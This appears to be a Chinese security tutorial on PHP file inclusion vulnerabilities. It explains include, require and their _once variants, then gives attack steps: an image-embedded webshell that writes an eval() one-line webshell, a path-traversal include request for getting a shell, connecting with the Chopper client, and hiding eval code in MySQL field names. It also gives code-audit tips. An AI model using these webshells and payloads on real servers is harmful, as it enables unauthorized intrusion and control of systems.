本文內容:
~什麼是文件包含漏洞
~函數解析
~實戰注意
每日一句:
只要是系統是人寫的,代碼就有可能存在漏洞
一、什麼是文件包含漏洞
0,場景
後端的每個頁面都要進行身份驗證。假若普通人可以訪問管理員才能看到的頁面
不就造成了越權嗎。但是如果每個頁面都寫一遍驗證身份的代碼。整個系統會變得
很冗餘且難維護。
爲此,開發們寫了一些文件包含函數。這樣驗證代碼僅僅寫在一個文件中,
什麼地方用到就調用這個文件,即文件包含
初衷:~減少代碼冗餘 ~方便修改
1,定義
攻擊者利用包含的特性,加上應用本身對包含文件的控制不嚴格,
導致系統執行了攻擊者的惡意文件。
本質上,文件包含並不屬於漏洞,只是因爲對包含執行的文件不可控,
才導致了文件包含漏洞的產生。
注意:包含進來的文件“不管後綴”是什麼都會被當作php代碼解析執行
//突破了後綴的限制,一般配合圖片馬進行攻擊
2攻擊思路:
方法一:
~製作圖片馬,內容作用就是創建一句馬。代碼如下:
<?php file_put_contents('8.php','<?php eval($_REQUEST[a])?>');?>
~上傳圖片馬
~文件包含圖片馬
~執行圖片馬,生成一句馬
~找到咱們一句馬的位置 //可以是絕對路徑,可以是相對路徑
~菜刀連接
類似的方法二:
~上傳正常圖片馬
~傳參爲:url?a=file_put_contents('8.php','<?php eval($_REQUEST[a])?>');
~菜刀連接
3,分類
~本地文件包含(叫做LFI)
包含執行網站本身的文件
~遠程文件包含(叫做RFI)
通過http協議包含執行別的地方的文件
遠程文件包含,PHP默認不開啓,需要開啓修改php.ini的這個配置(allow_url_include = On)
補充:其實win系統,可以通過本地文件包含實現遠程文件包含
利用SMB服務,有興趣的話可以去了解一下。
二、函數解析
1,include
使用include引用外部文件時,只有代碼執行到include代碼段時,
纔會調用外部文件。當引用代碼發生錯誤時,
系統只會給出警告錯誤,而整個php文件會繼續執行
總結:代碼正常運行,運行到include處,加載外部代碼,
即使加載的代碼有錯,但僅僅發出警告,整個文件繼續執行
例如: echo '111';
include('1.txt'); //假設1.txt不存在
echo '222';
輸出結果:
111
錯誤信息 //爆出錯,繼續運行
222
2,require
php文件被執行之前,php解析器會先引用外部文件進行全部內容替換。
然後剩餘的其他語句組成個新的php文件,最後執行這個新的php文件。
當引用代碼發生錯誤時,整個文件都會報錯,且停止運行(直接死掉)
總結:先加載外部代碼與源代碼組成新文件,運行新文件,若加載的外部代碼有錯,
整個文件直接整體報錯,且停止運行
例如: echo '111';
include('1.txt'); //假設1.txt不存在
echo '222';
輸出結果:
111
錯誤信息 //到這停止運行
//沒有222
注意:這個外部的代碼出錯也分等級,一般的小報錯,這個require的文件
也依然會運行。只有出現致命錯誤的時候,文件才直接死掉
3,include_once
在引用(導入文件前)先檢測該文件是否存在別處已經引用過include_once
果然已經引用過,則不會執行,若沒有引用過,則執行
舉例一:
<?php
include_once('1.php');
include_once('2.php');
?>
結果一:1.php被引用 2.php未被引用
舉例二 :
<?php
include('1.php');
include_once('2.php');
?>
結果二:1.php被引用 2.php未被引用
舉例三 :
<?php
include_once('1.php');
include('2.php');
?>
結果三:1.php被引用 2.php被引用
4,require_once
結合上邊,道理一致
注意:這個“once”的含義。本質就是帶once的多了一個判斷
5,對上邊補充
以上函數的包含路徑,既可以是絕對路徑,也可以是相對路徑
什麼是相當路徑,什麼是絕對路徑 之前講過。忘記的同學去 百度百度
6,文件包含GetShell
例如 :
目標站點3.php的內容如下:
<?php
if(某個條件):
include($_REQUEST['aa']);
?>
訪問網站:url 3.php? 滿足某個條件 && aa=../../../../a/b/c/圖片馬
凡是這個文件(這個路徑下的“../../../../a/b/c/圖片馬”)不管是什麼,
都會以php解析運行。那這個可就厲害了
綜上,其核心就是讓代碼可以滿足某個條件,使之執行include函數,
我們在通過傳參控制,讓include包含我們想讓其解析執行的文件即可
攻擊步驟:
只要能上傳文件(例如圖片),我們只要在這個文件裏插入“一句馬”
後綴什麼的都不用改。
我們只要能控制傳參“include”使內容改爲上邊內容,
然後我們的路徑 填寫圖片馬的路徑 菜刀連接:
url 3.php?aa=../../../../a/b/c/圖片馬&a=phpinfo();
//圖片馬的連接參數是“a”
直接getshell
三、實戰注意
1,cd sb/../訪問
cd admin ===>訪問 admin文件夾
cd ../ ===>訪問 上一層文件夾
cd admin/../ ===>訪問 admin進來,在出來
===>所以綜合直接什麼也不做 ==》 電腦看到這直接什麼也不做
cd 隨便寫/../ ==> 什麼也不做
這個小知識在php中也可以用,但是php中不要出現“? *”等符號,否則報錯
2,php的“?”
php的傳參路徑中不要出現“?”
“?”代表傳參的問題,一旦路徑出現,基本就會報錯。儘量避免“?”
3,路徑意義
../../../../ 的意義就是跳到:根目錄
有時候一個 / 的意思也是跳到:根目錄
4,file_put_contents函數
作用:建立新聞件
格式:file_put_contents('新建文件名','新建文件內容')
例如:
file_put_contents('sb.php','<?php eval($_REQUEST['a']);?>')
//新建sb.php文件,內容是一句馬
5,phpstudy修改配置文件
修改配置文件後,重啓生效
6,源碼審計注意事項
~seay搜索可控的include,雙擊查看函數位置
~查看需要滿足什麼條件纔會執行
~在多向上看看代碼,會不會有一些參數會導致整個代碼終止的條件(如die或exit的字眼)
~調試代碼的時候,多用var_dump()輸出,echo輸出有很多限制
~php中出現“ :: ”的時候,就是調用跟在後邊 類中的方法(簡單理解,一個自定義函數)
7,mysql數據庫存儲結構
一般一個庫,在本地就是一個文件夾
一個表就是一個文件 而字段的名字,則會被存儲在這個文件中
so,有時候。我們直接將字段名改爲:<?php eval($_REQUEST['a']);?>
就相對於在服務器的一個文件中寫入惡意代碼
找到該文件路徑 //白盒審計,不多說
配合文件包含與菜刀,接下來就不用多說了把